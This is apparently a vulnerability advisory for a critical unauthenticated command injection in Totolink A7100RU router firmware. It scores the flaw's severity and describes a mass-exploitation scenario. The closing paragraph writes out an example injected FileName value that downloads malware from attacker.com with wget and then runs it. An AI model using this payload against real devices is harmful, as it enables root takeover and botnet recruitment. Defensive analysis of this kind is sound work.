A7100Ru EUVD-2026-21764

Remote unauthenticated attacker can exploit Totolik A7100RU firmware 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi targeting the UploadOpenVpnCert function with malicious FileName parameter. No authentication, user interaction, or special configuration required.

This represents critical real-world risk requiring immediate attention. CVSS 9.8 scoring reflects maximum severity: network attack vector (AV:N) means exploitable from Internet, low complexity (AC:L) requires no special conditions, no privileges needed (PR:N) means unauthenticated access, no user interaction (UI:N) enables fully automated exploitation, and high impact to confidentiality, integrity, and availability (C:H/I:H/A:H) grants complete system compromise. Publicly available exploit code (GitHub POC) significantly lowers attacker skill requirements and enables mass scanning. CVSS temporal modifier shows Proof-of-Concept code exists (E:P). However, no EPSS score provided and not present in CISA KEV, suggesting no confirmed active exploitation campaigns at analysis time. SSVC assessment: exploitation status is POC-available, automatable is yes (simple HTTP request), technical impact is total (root command execution on network device). Primary risk is Internet-exposed router compromise for botnet recruitment, network pivot points, or data interception. Older firmware version (2019) suggests likely end-of-life status with low patch probability.

An unauthenticated attacker scans the Internet for Totolink A7100RU routers with exposed administrative interfaces on port 80/443. Upon discovering a target, the attacker sends a crafted HTTP POST request to /cgi-bin/cstecgi.cgi invoking UploadOpenVpnCert with a malicious FileName parameter containing shell metacharacters (e.g., FileName=cert.pem;wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;). The unsanitized input executes arbitrary commands as root, downloading and launching botnet malware. Publicly available exploit code on GitHub enables script-kiddie level attackers to automate mass exploitation.